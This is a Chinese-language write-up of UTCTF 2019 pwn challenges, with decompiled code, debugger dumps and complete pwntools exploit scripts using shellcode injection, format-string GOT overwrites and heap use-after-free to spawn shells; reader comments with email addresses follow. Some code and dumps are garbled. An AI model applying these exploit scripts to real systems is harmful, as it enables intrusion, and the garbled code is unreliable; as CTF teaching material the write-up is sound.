UTCTF2019

```
pwn
```

```
Baby Pwn
```

```
nc stack.overflow.fail 9000
```

检查保护情况

```
[*] '/home/kira/pwn/utctf/babypwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
```

可以看到什么保护都没开,这种情况一般优先考虑写shellcode的方式

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  welcome();
  do_calc();
  return printf("Goodbye %s\n", &name);
}
```

主函数比较简单,一个welcome函数和一个calc函数。

```
int welcome()
{
  puts("Welcome to the UT calculator service");
  puts("What is your name?");
  gets(&name);
  return printf("Hello %s\n", &name);
}
```

函数要求我们输入一个name, name存放在bss段,程序没有开PIE,地址可知,那么我们可以在这里写入shellcode。

```
int do_calc()
char v1; // [rsp+0h] [rbp-90h]
char nptr; // [rsp+40h] [rbp-50h]
__int64 v3; // [rsp+78h] [rbp-18h]
 __int64 v4; // [rsp+80h] [rbp-10h]
char v5; // [rsp+8Fh] [rbp-1h]
printf("Enter an operation (+ - *): ");
v5 = getchar();
flush_stdin();
if ( v5 != '*' \&\& v5 != '+' \&\& v5 != '-' )
  puts("That's not a valid operation!");
  exit(0);
printf("Enter the first operand: ");
gets(&nptr);
 v4 = atol(&nptr);
printf("Enter the second operand: ");
gets(&v1);
 v3 = atol(&v1);
if (v5 == 43)
  return printf("The sum is: %ld\n", v4 + v3);
```

```
if ( v5 == '-' )
  return printf("The difference is: ld\n", v4 - v3);
 if ( v5 != '*' )
  puts("How did I get here?");
  puts("Exiting..");
  exit(0);
 }
return printf("The product is: %ld\n", v3 * v4);
}
这里有两个溢出点,都是输入运算数的地方,我这里选择gets(&v1)作为溢出点,只要填充0x98个字符就可以覆盖ret了,这里需要需注意一下,程序会判断运算符是否为+
- *,如果不是就会exit,所以我们填充垃圾数据的时候注意不能把运算符(v5)改成其他字符。
from pwn import *
p = remote('stack.overflow.fail',9000)
name\_addr = 0x601080
p.sendlineafter('name?\n',asm(shellcraft.sh()))
p.sendline('+')
p.sendline('123')
p.sendline('+'*0x98+p64(name_addr))
p.interactive()
BabyEcho
I found this weird echo server. Can you find a vulnerability?
nc stack.overflow.fail 9002
检查保护情况
[*] '/home/kira/pwn/utctf/BabyEcho'
  Arch:
          i386-32-little
  RELRO:
          Partial RELRO
  Stack: No canary found
  NX:
          NX enabled
  PIE:
          No PIE (0x8048000)
程序比较简单,没有栈溢出,不过有一个很明显的格式化字符串漏洞。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
 char s; // [esp+1Ah] [ebp-3Eh]
 unsigned int v4; // [esp+4Ch] [ebp-Ch]
 v4 = __readgsdword(0x14u);
 setbuf(stdin, 0);
 setbuf(stdout, 0);
 puts("Give me a string to echo back.");
 fgets(&s, 50, stdin);
 printf(&s);
 exit(0);
```

这里有一个坑,s的地址不是4字节最齐,动态调试一下会看得更清楚,在0x08048593处下一个断点,<math>gdb调试一下:

```
[ DISASM ]
 ▶ 0x8048593 <main+120>
                            call
                                    printf@plt <0x80483c0>
        format: 0xffffd45a ← 'aaaabbbbcccc\n'
        vararg: 0x32
   0x8048598 <main+125>
                            add
                                    esp, 0x10
   0x804859b <main+128>
                                    esp, 0xc
                            sub
   0x804859e <main+131>
                            push
                                    0
   0x80485a0 <main+133>
                            call
                                    exit@plt <0x80483f0>
   0x80485a5
                            nop
   0x80485a7
                            nop
   0x80485a9
                            nop
   0x80485ab
                            nop
   0x80485ad
                            nop
   0x80485af
                            nop
                                                                                      -----[ STACK ]---
         esp 0xffffd430 → 0xffffd45a ← 'aaaabbbbcccc\n'
00:000
              0xffffd434 ← 0x32 /* '2' */
01:0004
02:0008
                  fffd438 → 0xf7fb45a0 (_IO_2_1_stdin_) ← 0xfbad208b
              0xffffd43c → 0x80482cd ← pop
03:000c
                                                   edi
04:0010
              0xffffd440 ← 0x0
05:0014
              0xffffd444 → 0xffffd4e4 ← 0x67325463 ('cT2g')
              0xffffd448 → 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ← 0x1b1db0
06:0018
              0xffffd44c → 0xffffd544 → 0xffffd6be ← 0x6d6f682f ('/hom')
07:001c
                                                                                         —[ BACKTRACE ]-
▶ f 0 8048593 main+120
f 1 f7e1a637 <u>libc_start_main+247</u>
Breakpoint *0x08048593
owndbg> stack 20
                0xffffd430 → 0xffffd45a ← 'aaaabbbbcccc\n'
00:0000
         esp
                 0xffffd434 ← 0x32 /* '2' */
01:0004
                0xffffd438 \rightarrow 0xf7fb45a0 (_IO_2_1_stdin_) \leftarrow 0xfbad208b
02:0008
                0xffffd43c → 0x80482cd ← pop
0xffffd440 ← 0x0
03:000c
                                                    edi
04:0010
                 0xfffffd441 → 0xfffffd4e4 ← 0x67325463 ('cT2g')
05:0014
06:0018
                0xffffd44c → 0xffffd544 → 0xffffd6be ← 0x6d6f682f ('/hom')
0xffffd450 ← 0xffffffff
0xffffd454 ← x2f /* '/' */
                             → 0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ← 0x1b1db0
07:001c
08:0020
09:0024
         eax-2 0xffffd458 ← 0x6161edc8
0a:0028
                 0xffffd45c ← 'aabbbbcccc\n'
0b:002c
                 0xffffd460 ← 'bbcccc\n
0c:6 30
0d:0034
                 0xffffd464 ← 0xa6363 /* 'cc\n' */
                 0xffffd468 → 0xf7fb2244 → 0xf7e1a020 (_IO_check_libio) ← call
0e:0038
                                                                                        0xf7f21b59
0f:003c
                 0xffffd46c → 0xf7e1a0ec (init_cacheinfo+92) ← test
                 0xffffd470 ← 0x1
10:0040
                 0xffffd478 -> 0xf7e30a50 (__new_exitfn+16)
12:0048
                                                                 add
                 0xffffd47c → 0x80485fb (__libc_csu_init+75) ← add
13:004c
pwndbg>
```

由上图可见,有两个a是在0xffffd458处,所以我们格式化字符串进行任意地址写的时候,要注意填充两个字节以确保地址对齐。

思路整理:

- 1. 由于题目不是while循环,第一步要先把exit@got.plt改成main,令程序进入死循环
- 2. 动态调试的时候发现栈中有_IO_2_1_stdin_的地址,可以用于泄露libc基址
- 3. 把printf@got.plt改成system,之后再次输入/bin/sh即可getshell。由于出题人没有给libc,尝试了好几个libc版本,才打远程成功,最后确认libc版本为libc6-i

```
from pwn import *
p = remote('stack.overflow.fail',9002)
elf = ELF('./BabyEcho')
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
# overwrite exit@got.plt
main_addr = 0x804851B
exit_got = 0x804A01C
byte1 = main_addr & 0xff
byte2 = (main_addr & 0xff00) >> 8
```

```
payload = \ensuremath{\mbox{`$\{\}$c${\hhn'.format(byte1,11+8)}}
payload += '%{}c%{}%hhn'.format(byte2-byte1,11+9)
payload = payload.ljust(34,'a')
\verb"payload += p32(exit_got) + p32(exit_got + 1)
p.sendlineafter('back.\n',payload)
# leak libc address
\verb|p.sendlineafter('back.\n','%2$p')|
libc.address = int(p.readline(),16) - libc.sym['_IO_2_1_stdin_']
# overwrite printf@got.plt
system_addr = libc.sym['system']
byte1 = system_addr & 0xff
byte2 = (system_addr & 0xffff00) >> 8
payload = '%{}c%{} hhn'.format(byte1,11+8)
\verb"payload" += " \ensuremath{\$\{} c \ensuremath{\$\{}\} c \ensuremath{\$\{}\} thn'.format(byte2-byte1,11+9)
payload = payload.ljust(34,'a')
payload += p32(elf.got['printf'])+p32(elf.got['printf']+1)
{\tt p.sendlineafter('back.\n',payload)}
p.interactive()
PPower enCryption
nc stack.overflow.fail 9001
检查保护情况
[*] '/home/kira/pwn/utctf/ppc'
   Arch:
            powerpc64-64-little
   RELRO:
             Partial RELRO
   Stack: No canary found
            NX disabled
   NX:
            No PIE (0x10000000)
   PIE:
   RWX:
            Has RWX segments
Encryption Service
nc stack.overflow.fail 9004
检查保护情况
[*] '/home/kira/pwn/utctf/Encryption_Service'
            amd64-64-little
   Arch:
           Partial RELRO
   RELRO:
   Stack: Canary found
   NX:
            NX enabled
   PIE:
            No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
 const char *v3; // rdi
 int v5; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v6; // [rsp+18h] [rbp-8h]
 v6 = __readfsqword(0x28u);
 setbuf(stdin, OLL);
 setbuf(stdout, OLL);
 puts("What is your user id?");
 v3 = "%d%*c";
 __isoc99_scanf("%d%*c", &user_id);
 while (1)
   print_menu(v3);
   v3 = "%d%*c";
   __isoc99_scanf("%d%*c", &v5);
   switch ( v5 )
     case 1:
       encrypt_string();
     case 2:
       remove_encrypted_string();
```

```
break;
    case 3:
      view_messages();
      break;
    case 4:
      edit_encrypted_message();
      break;
    case 5:
      return 0;
    default:
      v3 = "Not a valid option";
      puts("Not a valid option");
      break;
  }
 }
}
程序提供了4个功能分别是:
1. 创建一个加密字符串,为一个0x28大小的结构体,需要选择加密方式,输入明文长度以及明文内容;
2. 删除一个加密字符串,不会free掉创建的结构体,不过会把结构体中freed的标记位置为1,然后free掉明文和密文的内存;
3. 打印已创建的加密字符串;
4. 编辑一个加密字符串,可以重新输入明文;
加密字符串的结构体如下:
struct message
char *plaintxt;
char *ciphertxt;
 void *encrypt;
 void *print info;
 __int32 isFreed;
 int32 size;
};
简单看了一下,程序没有明显的漏洞,不过有几个地方的处理逻辑值得留意一下。
• encrypt_string函数(这里的*&size[4]应该是message结构体,但IDA把它和size连在一起,不知道如何修改类型,求知道的师傅告知一下)
unsigned __int64 encrypt_string()
int v1; // [rsp+8h] [rbp-28h]
 char size[12]; // [rsp+Ch] [rbp-24h]
char *plaintxt; // [rsp+18h] [rbp-18h]
 void *ciphertxt; // [rsp+20h] [rbp-10h]
 unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = \underline{readfsqword(0x28u)};
print_encryption_menu();
 __isoc99_scanf("%d%*c", &v1);
 *&size[4] = create_info(); // *****
 if ( *&size[4] )
  if ( v1 == 1 )
    *(*&size[4] + 16LL) = key_encrypt;
    *(*&size[4] + 24LL) = print_key;
  }
  else
    if ( v1 != 2 ) //
      puts("Not a valid choice");
      return __readfsqword(0x28u) ^ v5;
    *(*&size[4] + 16LL) = xor_encrypt;
    *(*&size[4] + 24LL) = print_xor;
  printf("How long is your message?\n>", &v1);\\
```

```
__isoc99_scanf("%d%*c", size); // 
*(*&size[4] + 36LL) = ++*size;
plaintxt = malloc(*size);
printf("Please enter your message: ", size);
fgets(plaintxt, *size, stdin);

**&size[4] = plaintxt;
ciphertxt = malloc(*size);

*(*&size[4] + 8LL) = ciphertxt;
(*(*&size[4] + 16LL))(plaintxt, ciphertxt);
printf("Your encrypted message is: %s\n", ciphertxt);
}
return __readfsqword(0x28u) ^ v5;
}
```

单看输入点,使用的是fgets,长度也是限制得死死的,没有截断问题和溢出点。但是,留意一下整个流程,会发现一些问题:

- 1. 函数在开始就直接创建一个结构体,而当我们选择一个错的加密方式直接退出后,但是创建的结构体并没有删除。由于函数提早退出,下面各种写入步骤全部跳过了,预
- 2. 输入明文长度的时候没有判断输入数字合法性,如果我们输入-1,那么最终size=0,就会出现malloc(0)的情况。同时fgets时的size为0,意味着不会读取任何数据

由于程序中没有system之类的函数,那么第一步还是考虑如何泄露libc基址,可以上述第二点漏洞进行,步骤如下:

- 1. 创建一个加密字符串,明文长度为0x100;
- 2. 删除此加密字符串,根据先free明文,后free密文的顺序,明文heap块的头会写入main_arena+88的地址,之后free密文后,两个unsorted bins会合并到top chunk;
- 3. 创建一个加密字符串,明文长度为0(size输入-1),malloc(0)会创建一个0x20大小的chunk,由于size=0,main_arena+88的地址并不会被改写;
- 4. view_messages()打印信息,就会把main_arena+88的地址泄露;

```
wndbg> x/32gx 0x2478000
0x2478000:
                0x0000000000000000
                                         0x000000000000000031
0x2478010:
                                         0x0000000002478150
                0x0000000002478040
0x2478020:
                                         0x0000000000400876
                0x0000000000400898
                 ¥90000100000000001
                                         0x00000000000020fd1
0x2478030:
                0x00007fb84e2d9b78
                                         0x00007fb84e2d9b78
0x2478040:
                                         0x6161616161616161
0x2478050:
                0x6161616161616161
                0x6161616161616161
                                         0x6161616161616161
0x2478060:
                0x6161616161616161
                                         0x6161616161616161
0x2478070:
```

```
pwndbg> x/32gx 0x2478000
0x2478000:
                0x00000000000000000
                                          0x00000000000000031
0x2478010:
                0x0000000002478040
                                          0x0000000002478060
0x2478020:
                0x0000000000400898
                                          0x0000000000400876
0x2478030:
                0x000000000000000000
                                          0x00000000000000001
0x2478040:
                      07fb84e2d9b78
                                          0x00007fb84e2d9b78
                0x6161616161616161
                                          0x000000000000000001
0x2478050:
                0x5557555354552754
0x2478060:
                                          0x5351562750235158
                0x5055255651275457
                                          0x0000000000464ca4
0x2478070:
0x2478080:
                0x6161616161616161
                                          0x6161616161616161
```

• view_messages函数

```
int view_messages()
{
   struct message *v0; // rax
   signed int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 19; ++i )
{
    v0 = information[i];
    if ( v0 )
    {
       LODWORD(v0) = information[i]->isFreed;
       if ( !v0 )
       {
            printf("Message #%d\n", i);
            (information[i]->print_info)();
            printf("Plaintext: %s\n", information[i]->plaintxt);
            LODWORD(v0) = printf("Ciphertext: %s\n", information[i]->ciphertxt);
       }
    }
}
```

```
return v0;
}
程序打印信息时会调用结构体中print_info函数,如果能够把这个函数改成system或one_gadget就能getshell了。这里我们可以利用上面提到的第一点漏洞:
1. 创建一个加密字符串,明文长度为0x100,明文内容为一个假结构体,其中print_info处为one_gadget地址;
2. 删除此加密字符串,明文的chunk回收到unsorted bins中;
3. 创建一个加密字符串,输入一个不存在的加密方式,如3;
4. 继续创建一个加密字符串,输入一个不存在的加密方式,如3,此时会unsorted
  bins中分裂一块内存给字符串结构体使用,结构体中print_info为内存原有的数据,即one_gadget地址;
5. view_messages()打印信息,调用information[i]->print_info
完整EXP:
from pwn import *
p = remote('stack.overflow.fail',9004)
elf = ELF('./Encryption_Service')
libc = ELF('./libc-2.23.so')
def encrypt_string(option,size,message):
  p.sendlineafter('>','1')
  p.sendlineafter('>',str(option))
  if option > 2:
      return 0
  p.sendlineafter('>',str(size))
  if size < 0:
  p.sendlineafter('message: ',message)
def remove_encrypted_string(idx):
  p.sendlineafter('>','2')
  p.sendlineafter('remove: ',str(idx))
def view_messages():
  p.sendlineafter('>','3')
def edit_encrypted_message(idx,message):
  p.sendlineafter('>','4')
  p.sendlineafter('message',message)
p.sendlineafter('id?\n',str(0xff))
encrypt_string(1,0xff,'a'*0xff)
remove_encrypted_string(0)
encrypt_string(1,-1,'') #0
view_messages()
p.recvuntil('Plaintext: ')
libc.address = u64(p.recv(6)+'\x00\x00') - 0x3c4b20 - 88
success("libc.address:{:#x}".format(libc.address))
one_gadget = libc.address + 0x45216
```

Jendy's

I've probably eaten my entire body weight in Wendy's nuggies.

fake_message = flat(0,0,one_gadget,one_gadget,0,0)

encrypt_string(1,0xff,fake_message) #1
encrypt_string(1,0xff,'123') #2
remove_encrypted_string(1)
encrypt_string(3,0,0)
encrypt_string(3,0,0)
view_messages()
p.interactive()

nc stack.overflow.fail 9003

检查保护情况

```
[*] '/home/kira/pwn/utctf/Jendy'
           amd64-64-little
  Arch:
  RELRO: Partial RELRO
  Stack: Canary found
          NX enabled
  NX:
  PIE:
          No PIE (0x400000)
int print_menu()
puts("Welcome to Jendy's, How may we take your order?");
puts("1. Add Name to Order");
 puts("2. Add Item to Order");
 puts("3. Remove Item from Order");
 puts("4. View order");
 puts("5. Checkout");
return putchar(62);
}
程序基本功能:
1. 创建一个name,每次创建都malloc(0x20)的内存;
2. 添加一个item, item为单链表结构, 后面详细说;
3. 删除一个item,有对单链表进行操作,后面详细说;
4. 打印order中name及item的信息;
结构体如下:
struct order
 struct item *head;
struct item *tail;
 char *name;
 __int64 count;
};
struct item
char[24] name;
struct item *next_item;
};
这种链表结构的题目,一般出现漏洞的地方都在链表删除的地方。
unsigned __int64 __fastcall remove_item(struct order *al)
{
int v2; // [rsp+10h] [rbp-20h]
 int i; // [rsp+14h] [rbp-1Ch]
 struct item *ptr; // [rsp+18h] [rbp-18h]
 struct item *v5; // [rsp+20h] [rbp-10h]
 unsigned __int64 v6; // [rsp+28h] [rbp-8h]
 v6 = __readfsqword(0x28u);
 puts("Please enter the number of the item from your order that you wish to remove");
 __isoc99_scanf("%d%*c", &v2);
 if (v2 >= 0)
  ptr = a1->head;
  v5 = 0LL;
  if ( v2 \mid | !ptr | | v2 ) // a1->head = 0 or v2>0
    for ( i = 0; ptr && i != v2; ++i )
      v5 = ptr;
      ptr = ptr->next_item;
    if ( ptr && i == v2 )
      if ( LODWORD(a1->count) - 1 == v2 )
        free(a1->tail);
```

```
}
      --LODWORD(a1->count);
    }
  }
  else // v2=0 and al->head != 0
    free(ptr);
    *(_OWORD *)&a1->head = 0uLL;
    --LODWORD(a1->count);
  }
 }
return __readfsqword(0x28u) ^ v6;
这个删除的函数有几个迷之操作:
1. 删除0号item的时候,直接把head清0,但是没有对head重新赋值;
2. 如果输入的编号v2刚好是最后一个item (count-1),那么直接删除al->tail,而不是删除ptr;
3. 删除head或者tail,都不会清空item结构体的next_item指针;
4. 单链表查找删除的item时,并不会检查v2是否超过count的大小;
继续看一下add_item()
unsigned __int64 __fastcall add_item(struct order *a1)
 size t v1; // rax
 int v3; // [rsp+10h] [rbp-20h]
 unsigned int i; // [rsp+14h] [rbp-1Ch]
 char *dest; // [rsp+18h] [rbp-18h]
 struct item *v6; // [rsp+20h] [rbp-10h]
 unsigned __int64 v7; // [rsp+28h] [rbp-8h]
 v7 = __readfsqword(0x28u);
 puts("Which item would you like to order from Jendy's?");
 for ( i = 0; (signed int)i \le 4; ++i)
  printf("%d. %s\n", i, (&options)[i]);
  _isoc99_scanf("%d%*c", &v3);
 if ( v3 >= 0 \&\& v3 <= 4 )
  dest = (char *)malloc(0x20uLL);
  v1 = strlen((&options)[v3]);
  strncpy(dest, (&options)[v3], v1);
  v6 = a1->head;
  ++LODWORD(a1->count);
  if ( v6 )
    al->tail->next_item = (struct item *)dest;
  else
    al->head = (struct item *)dest;
  a1->tail = (struct item *)dest;
 }
 else
  puts("Not a valid option!");
return __readfsqword(0x28u) ^ v7;
这里如果al->head为空,则会重新对al->head赋值为新创建的item,同时al->tail也赋值为新创建的item。现在回去看看remove_item()的第一个迷之操作,如果我们可能
free漏洞了。
继续下一个函数add_name()
char *__fastcall add_name(struct order *a1)
```

a1->tail = v5;

free(ptr);

v5->next_item = ptr->next_item;

} else

```
al->name = (char *)malloc(0x20uLL);
return fgets(al->name, 32, stdin);
name的大小刚好也是0x30,刚好和item的大小一样,由于删除后指针不清除,可以通过add_name()进行UAF。
最后看一下本题唯一的打印函数,此处应该是泄露地址的突破口。
unsigned __int64 __fastcall view_order(struct order *a1)
unsigned int i; // [rsp+14h] [rbp-3Ch]
char *format; // [rsp+18h] [rbp-38h]
char s; // [rsp+20h] [rbp-30h]
unsigned __int64 v5; // [rsp+48h] [rbp-8h]
v5 = __readfsqword(0x28u);
 if ( a1->name )
  snprintf(&s, 0x28uLL, "Name: %s\n", al->name);
  printf("%s", &s);
 format = (char *)a1->head;
 for ( i = 0; SLODWORD(a1->count) > (signed int)i; ++i )
  printf("Item #%d: ", i);
  printf(format);
  putchar(10);
  format = (char *)*((_QWORD *)format + 3);
return __readfsqword(0x28u) ^ v5;
```

puts("What is your name?");

这里存在一个很明显的格式化字符串漏洞,但是参数并不存在栈中,利用起来会有不少麻烦。item名字的打印次数跟count有关,如果通过UAF泄露信息,必须要注意coun 关于heap地址泄露,是在调试过程无意发现的,某次的调试过程发现出现不可见字符。

```
[DEBUG] Received 0xd7 bytes:
   00000000 49 74 65 6d 20 23 30 3a
                                       20 50 65 70
                                                    70 65 72 63
                                                                   Item #0:
                                                                              Pep perc
             6f 72 6e 20 4d 75 73 68
                                       72 6f 6f 6d
                                                     20 4d 65 6c
                                                                   orn Mush room
   00000010
                                                                                  Me1
             74 70 20 fa
                          01 0a 49 74
                                       65 6d 20 23
   00000020
                                                     31 3a 20
                                                              50
                                                                         ..It em # 1: P
                                                                   tр
                          /2 63 6f
                                                                   eppe rcor n Mu shro
   00000030
             65
                                   72
                                       6e 20 4d 75
                                                     73 68 72 6f
                /0 /0 65
             6f 6d 20 4d
                          65 6c 74 0a
                                        57 65 6c 63
                                                     6f 6d 65 20
   00000040
                                                                   om M elt. Welc ome
             74 6f 20 4a
                          65 6e 64 79
                                                     48 6f 77
                                                                   to J endy 's,
   00000050
                                        27 73 2c 20
                                                              20
                                                                                  How
             6d 61 79 20
                          77 65 20 74
                                       61 6b 65 20
                                                     79 6f 75
   00000060
                                                              72
                                                                        we t ake
                                                                   may
                                                                                  your
             20 6f 72 64
                          65 72 3f @a
   00000070
                                        31 2e 20 41
                                                     64 64 20 4e
                                                                    ord er? · 1. A dd N
             61 6d 65 20
                          74 6f 20 4f
   00000080
                                        72 64 65 72
                                                     0a 32 2e 20
                                                                        to 0 rder ·2.
                                                                   ame
                          49 74 65 6d
                                        20 74 6f 20
                                                     4f
   00000090
             41 64 64 20
                                                        72 64 65
                                                                   Add
                                                                        Item
                                                                                  Orde
                                                                              to
                                       6f 76 65 20
             72 0a 33 2e
                          20 52 65 6d
                                                     49 74 65 6d
                                                                         Rem ove
   000000a0
                                                                                  Item
             20 66 72 6f
                          6d 20 4f 72
   000000b0
                                       64 65 72 0a
                                                     34 2e 20 56
                                                                    fro m Or der 4. V
                          6f 72 64 65
             69 65 77 20
                                        72 0a 35 2e
                                                     20 43 68 65
                                                                   iew orde r.5.
   000000c0
                                                                                   Che
             63 6b 6f 75
   000000d0
                          74 0a 3e
                                                                   ckou t∙>
   000000d7
```

gdb调试看一下内存到底是什么情况,竟然发现当item名字用Peppercorn Mushroom
Melt时,由于这个名字长度为24,把后面的*next_item拼接上了,把堆地址泄露出来,这个不知道是不是出题人故意留的漏洞,太隐蔽了!

```
ndbg> x/32gx 0x1fa2000
0x1fa2000:
                0x000000000000000000
                                          0x00000000000000031
0x1fa2010:
                0x0000000001fa2040
                                          0x0000000001fa2070
0x1fa2020:
                0x00000000000000000
                                          0x0000000000000000002
0x1fa2030:
                0x00000000000000000
                                          0x00000000000000031
0x1fa2040:
                0x6f63726570706550
                                          0x726873754d206e72
0x1fa2050:
                0x746c654d206d6f6f
                                          0x0000000001fa2070
0x1fa2060:
                0x0000000000000000
                                          0x00000000000000031
0x1fa2070:
                0x6f63726570706550
                                          0x726873754d206e72
0x1fa2080:
                0x746c654d206d6f6f
                                          0x0000000000000000
0x1fa2090:
                0x0000000000000000
                                          0x0000000000020f71
0x1fa20a0:
                0x0000000000000000
                                          0x0000000000000000
```

由于思考过程过于曲折,我直接给出最终的思路,配合EXP食用:

- 1. 首先创建名字为Peppercorn Mushroom Melt的item泄露heap地址;
- 2. 删除最后一个item, 用add_name把释放的内存复写, *next_item写上order的结构体地址;
- 3. 用add_name准备两个格式化字符串payload,注意*next_item要连接好,用于将puts@got.plt的地址写入栈中,为之后改puts@got.plt做准备;
- 4. 使用remove_item第4个迷之操作,删除第4个item,此时实际只有2个item,函数一路查找到order的结构体,然后删掉;
- 5. 用add_name把释放的内存复写,伪造一个order的结构体,其中*name改成got表地址,泄露libc地址;head、tail和count也需要精心构造。
- 6. 使用view_order泄露libc地址,并且通过精心构造的item链触发格式化字符串;
- 7. 删掉第一个格式化字符串payload,写入一个新的格式化字符串payload,利用remove_item第二个迷之操作删掉第二个格式化字符串payload,写入一个新的格式化字
- 8. 使用view_order触发格式化字符串,将puts@got.plt改为one_gadget

EXP:

```
def add_name(name):
   p.sendlineafter('>','1')
   p.sendlineafter('name?\n',name)
def add_item(idx):
   p.sendlineafter('>','2')
   {\tt p.sendlineafter('4. Dave\backslash's Single\backslash n',str(idx))}
def remove_item(idx):
   p.sendlineafter('>','3')
   p.sendlineafter('remove\n',str(idx))
def view_order():
   p.sendlineafter('>','4')
#leak heap addr
add_item(3)
add_item(3)
view_order()
p.recvuntil('Melt')
heap\_addr = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00')) - 0x70
#leak libc addr & write puts@got.plt to stack
add item(3)
remove_item(2)
add_name('a'*24+p64(heap_addr + 0x10)[:-1])
payload = '%{}c%{}$n'.format(elf.got['puts'],16)
add_name(payload.ljust(24,'a')+p64(heap_addr+0x100)[:-1])
add_name(payload.ljust(24,'b')+p64(heap_addr+0x40)[:-1])
add_name('c'*24+p64(heap_addr+0xd0)[:-1])
remove item(3)
\verb| add_name(p64(heap_addr+0x130)+p64(heap_addr+0x100)+p64(elf.got['free'])+p64(5)[:-1]| \\
libc.address = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - libc.sym['free']
one gadget = libc.address + 0x45216
byte1 = one_gadget & 0xff
byte2 = (one_gadget & 0xffff00) >> 8
remove_item(1)
payload = '%{}c%{}{} $hhn'.format(byte1,24)
add_name(payload.ljust(24,'d'))
remove_item(3)
payload = \ensuremath{\mbox{`$\{\}$chn'.format(byte2,52)}}
add_name(payload.ljust(24,'e')+p64(heap_addr+0xd0)[:-1])
view order()
p.interactive()
```

总结

前面3题的难度总体来说不高,不过最后一题的漏洞利用花了好长时间进行调试和修正,这题的单链处理有各种漏洞,做题过程中也发现可以fastbin dup,不过最终效果并不太好,多次调整策略后最终放弃了,如果各位大佬有其他解法,欢迎一起讨论。

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Peanuts 2019-03-20 09:54:31

师傅求波题目

0 回复Ta



HYWZ 2019-03-20 10:42:23

是的,师傅能发一下题目吗 我邮箱296645429@qq.com 谢谢

0 回复Ta



<u>iptabLs</u> 2019-03-20 11:17:10

@HYWZ 题目已发,libc没发,用自己本地就行了

0 回复Ta



<u>iptabLs</u> 2019-03-20 11:28:06

@Peanuts 师傅留个邮箱

0 回复Ta



Peanuts 2019-03-20 12:10:57

576824449@qq.com

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<u>叶溪文9</u> 2019-05-31 20:54:58

求波题目师傅, 1727332385@qq.com

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